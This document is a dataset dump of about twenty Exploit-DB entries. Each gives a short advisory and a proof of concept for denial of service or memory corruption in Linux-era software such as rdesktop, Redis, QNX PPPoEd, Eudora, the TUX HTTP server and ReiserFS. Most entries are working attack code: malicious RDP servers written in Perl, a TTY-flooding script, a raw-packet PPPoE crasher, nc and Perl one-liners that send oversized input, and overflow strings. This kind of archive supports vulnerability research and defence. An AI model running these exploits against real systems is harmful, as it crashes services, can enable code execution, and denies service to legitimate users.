deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24569
Description: QNX PPPoEd 2.4/4.25/6.2 - Multiple Local Buffer Overrun Vulnerabilities
Type: dos
Platform: linux
Date: 2004-09-03
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/11104/info

QNX PPPoEd is reported to be prone to multiple local buffer overflow vulnerabilities. The issues presents themselves when PPPoEd handles certain command line arguments that are greater than 256 bytes in length.

Because variables that are crucial to controlling program execution flow for PPPoEd are stored adjacent to the affected buffers, an attacker may corrupt these values and influence PPPoEd program execution flow into attacker-controlled memory. Ultimately this may lead to the execution of arbitrary instructions in the context of the superuser.

$ export overflow256='AAAAAAAAAAAAAAA(...)' (around 256 A's)
$ /usr/bin/pppoed -F $overflow256
Memory fault (core dumped)
$ /usr/bin/pppoed service=$overflow256
Memory fault (core dumped)
Exploit-DB #32740
Description: QNX RTOS 6.4 - '.ELF' Binary File Local Denial of Service
Type: dos
Platform: linux
Date: 2009-01-19
Author: kokanin

Exploit:
source: https://www.securityfocus.com/bid/33352/info

QNX RTOS is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause a kernel panic, denying service to legitimate users.

QNX RTOS 6.4.0 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32740.bin
Exploit-DB #34364
Description: Qt 4.6.3 - 'QTextEngine::LayoutData::reallocate()' Memory Corruption
Type: dos
Platform: linux
Date: 2010-07-13
Author: D4rk357

Exploit:
source: https://www.securityfocus.com/bid/41873/info

Qt is prone to a remote memory-corruption vulnerability.

Successful exploits may allow the attacker to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition. 

<html>
<head>
<title>Arora browser Remote Denial fo Service </title>
<body bgcolor="black">

<script type="text/javascript">
function garbage() {
    var buffer = "";
    for (var i = 0; i < 8000; i++) {
        buffer += "A";
    }
    var buffer2 = buffer;
    for (i = 0; i < 8000; i++) {
        buffer2 += buffer;
    }
    document.title = buffer2;
}
</script>
</head>
<body>
<center>
<br><h2>==> <a href="javascript:garbage();">CLICK HERE</a></font> <==</h2>
</body>
</html>
Exploit-DB #24096
Description: Qualcomm Eudora 5.2.1/6.x - Embedded Hyperlink Buffer Overrun
Type: dos
Platform: linux
Date: 2004-05-07
Author: Paul Szabo

Exploit:
source: https://www.securityfocus.com/bid/10298/info

Qualcomm Eudora is reported to be prone to a remotely exploitable buffer overrun vulnerability. 

The issue is exposed when an excessively long hyperlink to a file resource is embedded in an HTML e-mail. This may permit remote attackers to execute arbitrary code via malicious e-mail in the context of the client user.

This issue was reported in Eudora on Windows platforms. Eudora for Apple Mac operating systems may be similarly affected, though this has not been confirmed.

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora file URL buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n";
print "<x-html>\n";
print "<a href=\"C:\\", "A"x300, "\">\n";
print "Fake URL to http://anywhere/I/want</a>\n";
print "</x-html>\n";
print "Clicking above will crash Eudora.\n\n";
print "The following plain-text converted by Eudora into a clickable URL\n";
print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n";
print "is for comparison: the user can hardly tell them apart.\n\n";
Exploit-DB #19869
Description: Qualcomm qpopper 2.53/3.0 / RedHat imap 4.5 -4 / UoW imap 4.5 popd - Lock File Denial of Service
Type: dos
Platform: linux
Date: 2000-04-19
Author: Alex Mottram

Exploit:
source: https://www.securityfocus.com/bid/1132/info

Vulnerabilities exist in a number of pop3 daemon implementations, having to do with their creation of lock files. Affected include Qualcomm's qpopper, and the popd included as part of the imap-4 rpm from RedHat. Lockfiles in both implementation are created with consistent local file names; the RedHat popd in /tmp, with a fairly random name (albeit consistent for a given user), and in the mail spool directory, with the user name prepended by a "." and appended with ".pop". Creation of either of these files will prevent the popd user from being able to establish a connection to retrieve their mail.

The FreeBSD port of imap-uw contains this vulnerability. It is not, however, included as a standard part of a FreeBSD install.

touch /var/mail/.username.pop
Exploit-DB #25004
Description: QwikMail 0.3 - 'HELO' Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2004-12-15
Author: Jonathan Rockway

Exploit:
source: www.securityfocus.com/bid/11989/info

QwikMail (qwik-smtpd) is reported prone to a remotely exploitable buffer overflow vulnerability. The issue is due to insufficient bounds checking of client-supplied SMTP HELO request data.

This issue could theoretically be exploited to execute arbitrary code. Due to the memory layout, it is also reportedly possible to overwrite an adjacent buffer in a manner that will allow a remote attacker to abuse the server as an unauthorized mail relay. 

HELO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA127.0.0.1
Exploit-DB #29717
Description: radscan conquest 8.2 - Multiple Vulnerabilities
Type: dos
Platform: linux
Date: 2007-03-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/22855/info

Conquest is prone to multiple remotely exploitable vulnerabilities, including a stack-based buffer-overflow vulnerability and a memory-corruption vulnerability.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or cause the affected application to crash, denying service to legitimate users.

These issues affect version 8.2a; prior versions may also be affected. 

1. Launch a fake metaserver that sends more than 1024 chars:
perl -e 'print "a"x1200' | nc -l -p 1700 -v -v -n

2. Launch the client, specifying the alternate metaserver:
conquest -m -M 127.0.0.1

3. Interrupt the fake metaserver: conquest should have been crashed
trying to executing the code at offset 0x61616161
Exploit-DB #15054
Description: RarCrack 0.2 - Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2010-09-19
Author: The_UnKn@wn

Exploit:
#!/usr/bin/env ruby
#  overflow.rb
#
#    __________  ____  __  ______  _________
#   / ____/ __ \/ __ \/ / / / __ \/ ____<  /
#  / / __/ /_/ / / / / / / / /_/ /___ \ / / 
# / /_/ / _, _/ /_/ / /_/ / ____/___/ // /  
# \____/_/ |_|\____/\____/_/   /_____//_/   
#                                         
#
# 	Title: 		RarCrack 0.2 Buffer Overflow POC
# 	Date: 		19.09.2010
# 	Author: 	The_UnKn@wn
# 	Email:		the_unknown [at] group51.org
# 	Twitter:	@The_UnKn0wn
# 	Homepage:	http://group51.org 	
# 	Software Link: 	http://sourceforge.net/projects/rarcrack/files/rarcrack-0.2/%5BUnnamed%20release%5D/rarcrack-0.2.tar.bz2/download
# 	Version: 	0.2
# 	Tested on: 	openSUSE 11.3
# 	CVE: 		none 
#
#	Impact:		RarCrack doesn't check the length of the archive and while cracking it crashes.
#
#	Usage: 
#		$ ruby overflow.rb
#		$ ./rarcrack overflow.zip
#		

text = "A"*10000

File.open("overflow.zip","w") do |l|
	l.puts(text)
end
Exploit-DB #22243
Description: RARLAB FAR 1.65/1.70 - File Manager Buffer Overflow
Type: dos
Platform: linux
Date: 2003-02-11
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/6822/info

A buffer overflow vulnerability has been reported for FAR that may result in a denial of service condition. The vulnerability exists due to insufficient bounds checking performed by FAR when parsing directory paths. Specifically, when FAR attempts to parse overly long paths it will crash thereby resulting in a denial of service condition. 

SET A=A<260 chars>A
SET B=BBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\
Exploit-DB #26342
Description: RARLAB WinRar 2.90/3.x - UUE/XXE Invalid Filename Error Message Format String
Type: dos
Platform: linux
Date: 2005-10-11
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/15062/info

WinRAR is prone to multiple remote vulnerabilities. These issues include a format string and a buffer overflow vulnerability. Successful exploitation may allow an attacker to execute arbitrary code on a vulnerable computer.

WinRAR 3.50 and prior versions are vulnerable to these issues. 

begin 644 %0.8x.%0.8x.%0.8x.%0.8x.%0.8xAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
`
end
Exploit-DB #5561
Description: rdesktop 1.5.0 - 'iso_recv_msg()' Integer Underflow (PoC)
Type: dos
Platform: linux
Date: 2008-05-08
Author: Guido Landi

Exploit:
#!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=696

use warnings;
use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

while(my $c = $sock->accept())
{
        print $c        "\x03"                          .# TPKT version
                        "\x00"                          .# reserved
                        "\x00\x01"                      .# evil length here 
                        "\x06\xd0\x00\x00\x12\x34\x00"  .
                        "\x41" x 204942;

        sleep 1;
        close $sock;
}

# milw0rm.com [2008-05-08]
Exploit-DB #5585
Description: rdesktop 1.5.0 - 'process_redirect_pdu()' BSS Overflow (PoC)
Type: dos
Platform: linux
Date: 2008-05-11
Author: Guido Landi

Exploit:
#!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=697

use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

my $evil = 	"\x03\x00\x01\x47\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x81\x38" 	.
		"\x01\x00\x10\x00"						. 
		"\xc5\x32"							.
		"\x04\x75"							. # PDU TYPE == 0x4 == PDU_REDIRECT
		"\xb7\xda\xf8\x43"						.
		"\x01\x00\x00\x00"						.
		"\x01\x00\x00\x00"						.
		"\xff\xff\xff\xff"						. # len of g_redirect_cookie
		"\x41" x 64							; # g_redirect_cookie

while(my $c = $sock->accept())
{
	while(<$c>)
	{
		print $c ONE(), TWO(), THREE(), FOUR(), FIVE(), SIX(), SEVEN(), $evil;
	}
}




sub ONE()
{
	"\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00"
}

sub TWO()
{
	"\x03\x00\x01\x49\x02\xf0\x80\x7f\x66\x82\x01".
	"\x3d\x0a\x01\x00\x02\x01\x00\x30\x1a\x02\x01".
	"\x22\x02\x01\x03\x02\x01\x00\x02\x01\x01\x02".
	"\x01\x00\x02\x01\x01\x02\x03\x00\xff\xf8\x02".
	"\x01\x02\x04\x82\x01\x17\x00\x05\x00\x14\x7c".
	"\x00\x01\x2a\x14\x76\x0a\x01\x01\x00\x01\xc0".
	"\x00\x4d\x63\x44\x6e\x81\x00\x01\x0c\x08\x00".
	"\x04\x00\x08\x00\x03\x0c\x0c\x00\xeb\x03\x01".
	"\x00\xec\x03\x00\x00\x02\x0c\xec\x00\x02\x00".
	"\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\xb8".
	"\x00\x00\x00\x29\x60\xbb\x2f\xc4\x4d\x00\x9e".
	"\x58\x8a\xb4\x85\x35\x6a\x71\xea\xad\xf9\x3d".
	"\x0e\x5e\x8e\x87\x64\x2d\x52\x42\xed\xb2\x91".
	"\x3f\xf9\x01\x00\x00\x00\x01\x00\x00\x00\x01".
	"\x00\x00\x00\x06\x00\x5c\x00\x52\x53\x41\x31".
	"\x48\x00\x00\x00\x00\x02\x00\x00\x3f\x00\x00".
	"\x00\x01\x00\x01\x00\xf9\xa3\x35\xb2\x78\x63".
	"\x8d\x94\x65\x47\x22\x54\x49\x55\xae\x6f\x74".
	"\x69\x73\x6e\xee\x2b\xa5\xd0\x47\xf6\xc0\x89".
	"\x2e\xa0\x54\xf5\x12\x87\x75\xb5\x89\xf7\x83".
	"\x48\xd9\x54\xeb\xde\x20\x73\xd6\xd8\xf3\xee".
	"\x0f\xf7\xc2\xaa\xa4\x79\x0a\x5a\x64\x92\x53".
	"\xc4\x75\xd4\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x08\x00\x48\x00\xf6\x20\x04\x62\x5b\x2f\x04".
	"\xae\x02\x04\x4a\x7e\xcf\x59\x02\x11\xf7\x7f".
	"\xab\x74\x95\xce\x01\x4e\xf6\x14\x50\x0b\xd7".
	"\x54\x8f\xf0\x92\xd5\x0c\x6f\x42\xd8\x21\x98".
	"\x9f\x87\x50\x9a\x33\x6c\xef\x65\x05\x5c\x4a".
	"\x93\x51\xc1\x69\x59\x7c\x3d\xf4\x63\xdc\x53".
	"\x66\x3b\x00\x00\x00\x00\x00\x00\x00\x00"
}

sub THREE()
{
	"\x03\x00\x00\x0b\x02\xf0\x80\x2e\x00\x00\x04"
}

sub FOUR()
{
	"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xed\x03\xed"
}

sub FIVE()
{
	"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xeb\x03\xeb"
}

sub SIX()
{
	"\x03\x00\x00\x0f\x02\xf0\x80\x3e\x00\x00\x04\x03\xec\x03\xec"
}

sub SEVEN()
{
	"\x03\x00\x00\x22\x02\xf0\x80\x68\x00\x01\x03\xeb\x70\x14\x80\x02\x10\x00\xff\x03\x10\x00\x07\x00\x00\x00\x02\x00\x00\x00\x30\x9a\x00\x00"
}

# milw0rm.com [2008-05-11]
Exploit-DB #236
Description: RedHat 6.1/6.2 - TTY Flood Users
Type: dos
Platform: linux
Date: 2001-01-02
Author: teleh0r

Exploit:
#!/bin/bash
#
# by teleh0r

TTYDIR=/dev/pts
NONSENSE=/bin/nice
MYTTY=`tty` # To prevent flooding of one's own TTY

while /bin/true ; do
    for i in $TTYDIR/* ; do
        if [ -w $i -a -c $i -a $i != $MYTTY ]; then
            cat $NONSENSE > $i
        fi
    done
done

unset i


# milw0rm.com [2001-01-02]
Exploit-DB #32304
Description: RedHat 8/9 - Directory Server Crafted Search Pattern Denial of Service
Type: dos
Platform: linux
Date: 2008-08-27
Author: Ulf Weltman

Exploit:
source: https://www.securityfocus.com/bid/30871/info

Red Hat Directory Server is prone to a denial-of-service vulnerability because the server fails to handle specially crafted search patterns.

An attacker can exploit this issue to consume CPU resources with one search request, effectively blocking additional search requests from executing. Legitimate users may be prevented from authenticating to network resources that use the affected server for authentication.

Red Hat Directory Server 7.1 and 8 are affected. 

The following example regular expressions are available:

2.6/AV:N/AC:H/Au:N/C:N/I:N/A:P
4.0/AV:N/AC:L/Au:S/C:N/I:N/A:P
Exploit-DB #19850
Description: RedHat Linux 6.x - X Font Server Buffer Overflow (Denial of Service)
Type: dos
Platform: linux
Date: 2000-04-16
Author: Michal Zalewski

Exploit:
// source: https://www.securityfocus.com/bid/1111/info

A denial of service exists in the X11 font server shipped with RedHat Linux 6.x. Due to improper input validation, it is possible for any user to crash the X fontserver. This will prevent the X server from functioning properly.

Additional, similar problems exist in the stock xfs. Users can crash the font server remotely, and potential exists for buffer overruns. The crux of the problem stems from the font server being lax about verifying network input. While no exploits exist, it is likely they are available in private circles, and can result in remote root compromise. 

#include <sys/socket.h>                                      
#include <sys/un.h>

#define CNT 50
#define FS "/tmp/.font-unix/fs-1"

int s,y;
struct sockaddr_un x;

char buf[CNT];

main() {
  for (y;y<2;y++) {
    s=socket(PF_UNIX,SOCK_STREAM,0);
    x.sun_family=AF_UNIX;
    strcpy(x.sun_path,FS);
    if (connect(s,&x,sizeof(x))) { perror(FS); exit(1); }
    if (!y) write(s,"lK",2);
    memset(buf,'A',CNT);
    write(s,buf,CNT);
    shutdown(s,2);
    close(s);
  } 
}
Exploit-DB #20494
Description: RedHat Linux 7.0 - Roaring Penguin PPPoE Denial of Service
Type: dos
Platform: linux
Date: 2000-12-11
Author: dethy

Exploit:
source: https://www.securityfocus.com/bid/2098/info

Roaring Penguin Software's PPPoE is a freeware PPP over Ethernet client often used by ADSL subscribers running Linux or NetBSD.

PPPoE contains a possibly remotely exploitable denial of service vulnerability in its handling of TCP packets when the Clamp_MSS option is used. If PPPoE recieves a malformed TCP packet with a "zero-length option", PPPoE will go into an infinite loop. As a result, the ppp connection being supported by PPPoE will time out and be terminated. A manual re-start is needed to regain functionality.

This bug has been fixed by Roaring Penguin Software in a new version, see the solutions section. 

#!/usr/bin/perl
# POC script that causes a DoS in an PPP-over-Ethernet Link, in RedHat 7.0.
# Advisory: http://www.redhat.com/support/errata/RHSA-2000-130.html
# by dethy
use Net::RawIP;
use Getopt::Std;
getopts('d:s:p:c',\%args) || &usage;
if(defined($args{d})){$daddr=$args{d};}else{&usage;}
if(defined($args{s})){$src=$args{s};}else{$src=&randsrc;}
if(defined($port{p})){$port=$args{p};}else{&usage;}
if(defined($args{c})){$count=$args{c};}else{$count=10;}

sub randport(){
 srand;
 return $sport=(int rand 65510); 
 }

sub randsrc(){
  srand; 
  return $saddr=(int rand 255).".".(int rand 255).".".(int rand 255).".".(int rand 255); 
 }

 $packet = new Net::RawIP({ip=>{},tcp=>{}});
 $packet->set({ ip => { saddr => $src, 
			daddr => $daddr, 
			tos => 3 },
               tcp => { source => $sport, 
			dest => $port,
                        syn => 1, psh => 1 } });

 $packet->send(0,$count);

sub usage(){ die("pppoe-link POC DoS on RH7\n$0 -d <dest> -s <source> -p <port> -c <count>\n"); }
Exploit-DB #21141
Description: RedHat TUX 2.1.0-2 - HTTP Server Oversized Host Denial of Service
Type: dos
Platform: linux
Date: 2001-11-05
Author: Aiden ORawe

Exploit:
source: https://www.securityfocus.com/bid/3506/info

TUX is a kernel based HTTP server released under the GNU General Public License. It is able to serve static content, cache dynamic content, and coordinate with other HTTP servers to produce dynamic content.

An error exists when the TUX daemon received an oversized Host: header as part of a HTTP request. The request will result in an assertation failure and eventually in a kernel panic. At this point a system reboot will be required to regain normal functionality. 

perl -e "print qq(GET / HTTP/1.0\nAccept: */*\nHost: ) . qq(A) x 6000 .
qq(\n)" |nc <ip address> <dest_port>
Exploit-DB #47919
Description: Redir 3.3 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2020-01-14
Author: hieubl

Exploit:
# Exploit Title: Redir 3.3 - Denial of Service (PoC)
# Date: 2020-01-14
# Exploit Author: hieubl from HPT Cyber Security
# Vendor Homepage: https://github.com/troglobit/redir
# Software Link: https://github.com/troglobit/redir
# Version: 3.3
# Tested on: Kali GNU/Linux Rolling 2019.4
# CVE : [if applicable]

The source code of redir.c contains doproxyconnect() function which
has the stack overflow vulnerability:

void doproxyconnect(int socket)
{
	int x;
	char buf[128];

	/* write CONNECT string to proxy */
	sprintf((char *)&buf, "CONNECT %s HTTP/1.0\n\n", connect_str);
	x = write(socket, (char *)&buf, strlen(buf));
	if (x < 1) {
		syslog(LOG_ERR, "Failed writing to proxy: %s", strerror(errno));
		exit(1);
	}
	/* now read result */
	x = read(socket, (char *)&buf, sizeof(buf));
	if (x < 1) {
		syslog(LOG_ERR, "Failed reading reply from proxy: %s", strerror(errno));
		exit(1);
	}
	/* no more error checking for now -- something should be added later */
	/* HTTP/1.0 200 Connection established */
}

Download and build:
# git clone https://github.com/troglobit/redir.git
# cd redir
# ./autogen.sh
# ./configure
# make

Proof of Concept:
  In 1st terminal:
    # gdb -q ./redir
    # set follow-fork-mode child
    # r -x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:1234 hpt.vn:80

  In 2nd terminal:
    # nc localhost 1234

  After that, the program in 1st terminal will crash because of buffer
overflow vulnerability.
    ...
    ► 0x[PII_REDACTED]b0 <doproxyconnect+144>    ret    <0x[PII_REDACTED]414141>
    ...
    Program received signal SIGSEGV (fault address 0x0)
    pwndbg>
Exploit-DB #44908
Description: Redis 5.0 - Denial of Service
Type: dos
Platform: linux
Date: 2018-06-20
Author: Fakhri Zulkifli

Exploit:
# Exploit Title: Redis 5.0 Denial of Service
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0
# Fixed on: 5.0
# CVE : CVE-2018-12453

Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.


PoC:
$ ./src/redis-cli -p 1234
127.0.0.1:1234> set a 123
OK
127.0.0.1:1234> xgroup create a b $
Error: Connection reset by peer  <— segfault'ed
127.0.0.1:1234>

The bug also could be triggered via netcat
$ nc 127.0.0.1 1234
set a 123
+OK
xgroup create a b $  <— segfault’ed after this line


@@ -1576,7 +1576,7 @@ NULL
     /* Lookup the key now, this is common for all the subcommands but HELP. */
     if (c->argc >= 4) {
robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);
-         if (o == NULL) return;
+         if (o == NULL || checkType(c,o,OBJ_STREAM)) return;
         s = o->ptr;
         grpname = c->argv[3]->ptr;


  #0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45
  #1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5
  #2 0x7f65d736e38f  (/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f)
  #3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12
  #4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19
  #5 0x58ded7 in call /home/user/redis/src/server.c:2298:5
  #6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9
  #7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17
  #8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17
  #9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9
  #10 0x59da71 in main /home/user/redis/src/server.c:3992:5
  #11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
  #12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38)
Exploit-DB #20535
Description: ReiserFS 3.5.28 (Linux Kernel) - Code Execution / Denial of Service
Type: dos
Platform: linux
Date: 2001-01-09
Author: Marc Lehmann

Exploit:
source: https://www.securityfocus.com/bid/2180/info

ReiserFS is a file system alternative to the Linux ext2 file system. It was originally written by Hans Reiser, and is freely available and publicly maintained.

A problem has been reported in the handling of long file names with ReiserFS version 3.5.28 on SuSE Linux distribution 7.0. It is possible to create a directory with a long file name (the initial example displayed a directory with 768 characters), then attempt to list the file system using system binary ls or with built in shell function echo and create a Denial of Service. Upon attempting to list or echo the contents of the filesystem, a kernel buffer overflow occurs, overwriting variables on the stack including possibly the return address, as well as crashing the system. It may be possible for a malicious user to execute arbitrary code, deny service to legitimate users, and potentially break out of a chroot environment. This vulnerability is yet unverified. 

mkdir "$(perl -e 'print "x" x 768')"